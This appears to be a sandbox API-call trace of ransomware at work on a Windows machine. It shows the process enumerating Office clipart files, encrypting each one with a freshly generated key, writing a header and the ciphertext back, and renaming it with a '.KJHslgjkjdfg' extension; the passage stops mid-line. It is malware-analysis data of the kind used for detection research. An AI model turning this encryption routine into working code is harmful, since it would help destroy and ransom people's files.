[0195.575] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x40e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.575] SetEndOfFile (hFile=0x130) returned 1 [0195.576] GetProcessHeap () returned 0x2ef0000 [0195.576] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.576] GetProcessHeap () returned 0x2ef0000 [0195.576] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.576] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.kjhslgjkjdfg")) returned 1 [0195.577] CloseHandle (hObject=0x130) returned 1 [0195.577] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d2a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa86d2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1 [0195.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.578] GetProcessHeap () returned 0x2ef0000 [0195.578] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.578] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.578] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.578] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.581] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.581] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.581] GetProcessHeap () returned 0x2ef0000 [0195.581] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.581] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.581] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.581] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.581] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.581] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.581] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.581] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.581] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.581] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.581] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x12bc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x12bc, lpOverlapped=0x0) returned 1 [0195.582] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12c0) returned 1 [0195.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.582] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x12c0, lpOverlapped=0x0) returned 1 [0195.582] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.582] SetEndOfFile (hFile=0x130) returned 1 [0195.585] GetProcessHeap () returned 0x2ef0000 [0195.585] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.585] GetProcessHeap () returned 0x2ef0000 [0195.585] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.kjhslgjkjdfg")) returned 1 [0195.586] CloseHandle (hObject=0x130) returned 1 [0195.586] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73bfd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa73bfd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1 [0195.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.587] GetProcessHeap () returned 0x2ef0000 [0195.587] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.587] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.587] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.589] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.589] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.589] GetProcessHeap () returned 0x2ef0000 [0195.589] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.589] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.589] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.589] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.589] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.589] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.589] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.589] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.589] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.589] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.589] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x83c, lpOverlapped=0x0) returned 1 [0195.590] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x840, dwBufLen=0x840 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x840) returned 1 [0195.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.590] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x840, lpOverlapped=0x0) returned 1 [0195.590] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.590] SetEndOfFile (hFile=0x130) returned 1 [0195.592] GetProcessHeap () returned 0x2ef0000 [0195.592] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.592] GetProcessHeap () returned 0x2ef0000 [0195.592] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.kjhslgjkjdfg")) returned 1 [0195.593] CloseHandle (hObject=0x130) returned 1 [0195.593] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60ad000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa60ad000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1 [0195.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.594] GetProcessHeap () returned 0x2ef0000 [0195.594] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.594] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.594] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0195.596] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.596] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.596] GetProcessHeap () returned 0x2ef0000 [0195.596] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.596] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.596] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.596] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.596] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.596] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.596] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.596] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.596] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.596] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.596] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x13ea, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x13ea, lpOverlapped=0x0) returned 1 [0195.597] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13f0) returned 1 [0195.597] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.597] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x13f0, lpOverlapped=0x0) returned 1 [0195.598] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.598] SetEndOfFile (hFile=0x130) returned 1 [0195.600] GetProcessHeap () returned 0x2ef0000 [0195.600] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.600] GetProcessHeap () returned 0x2ef0000 [0195.600] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.600] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.kjhslgjkjdfg")) returned 1 [0195.601] CloseHandle (hObject=0x130) returned 1 [0195.601] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d9a300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4d9a300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1 [0195.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.601] GetProcessHeap () returned 0x2ef0000 [0195.601] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.602] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.602] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0195.604] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.604] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.604] GetProcessHeap () returned 0x2ef0000 [0195.604] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.604] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.604] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.604] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.604] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.604] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.604] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.604] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.604] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.604] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.604] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x22de, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x22de, lpOverlapped=0x0) returned 1 [0195.614] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x22e0, dwBufLen=0x22e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x22e0) returned 1 [0195.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.614] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x22e0, lpOverlapped=0x0) returned 1 [0195.614] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x23b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.614] SetEndOfFile (hFile=0x130) returned 1 [0195.616] GetProcessHeap () returned 0x2ef0000 [0195.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.616] GetProcessHeap () returned 0x2ef0000 [0195.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 